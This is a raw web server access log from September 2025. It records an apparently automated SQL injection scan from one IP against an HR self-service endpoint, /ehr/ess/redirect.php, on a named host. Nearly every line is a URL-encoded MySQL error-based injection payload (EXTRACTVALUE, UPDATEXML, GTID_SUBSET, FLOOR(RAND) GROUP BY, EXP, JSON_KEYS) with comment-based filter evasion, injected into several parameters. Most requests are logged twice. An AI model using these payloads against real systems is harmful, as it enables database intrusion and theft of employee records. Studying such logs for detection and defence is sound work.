100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4e786554%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63783961%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4e786554%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63783961%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4d6e6a4b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63326a65%29%29%2C1%29%23%2F%2A%2A%2FXg4k&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4d6e6a4b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63326a65%29%29%2C1%29%23%2F%2A%2A%2FXg4k&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6e6c7141%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63426667%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2FDDjY&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6e6c7141%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63426667%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2FDDjY&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x58787069%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d784559%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2FK2Ae&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x58787069%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d784559%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2FK2Ae&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4b6c4370%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a523773%29%2C6420%29%23%2F%2A%2A%2F2eG2&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4b6c4370%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a523773%29%2C6420%29%23%2F%2A%2A%2F2eG2&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x66704a36%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45373655%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FkQNf&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x66704a36%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45373655%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FkQNf&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7253414e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73386d6a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2F4szk&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7253414e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73386d6a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2F4szk&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6a424f66%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50736163%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2F83ei&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6a424f66%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50736163%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2F83ei&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x3874494f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a72624e%29%2C6420%29%23%2F%2A%2A%2FhvFk&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x3874494f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a72624e%29%2C6420%29%23%2F%2A%2A%2FhvFk&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x766c7056%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f625258%29%2C5431%29%23%2F%2A%2A%2FeQNv&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x766c7056%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f625258%29%2C5431%29%23%2F%2A%2A%2FeQNv&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4d484b69%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x366a6736%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FFbF4&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4d484b69%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x366a6736%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FFbF4&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x464a396b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39323079%29%29%2C1%29%23%2F%2A%2A%2Fl4PD&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x464a396b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39323079%29%29%2C1%29%23%2F%2A%2A%2Fl4PD&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4e786554%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63783961%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x31446a36%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x674b5352%29%29%2C1%29%23%2F%2A%2A%2FtzeK&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x31446a36%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x674b5352%29%29%2C1%29%23%2F%2A%2A%2FtzeK&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x46443863%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37455735%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FFXyb%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x46443863%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37455735%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FFXyb%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x585a5432%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4238696c%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FFWVP&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x585a5432%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4238696c%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FFWVP&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x56626a4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75467a43%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FIFeQ&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x56626a4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75467a43%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FIFeQ&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x68575a37%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e696a56%29%29x%29%29%23%2F%2A%2A%2FPmLP&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x68575a37%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e696a56%29%29x%29%29%23%2F%2A%2A%2FPmLP&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4e4b4c38%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d7a6234%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FQRlq&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
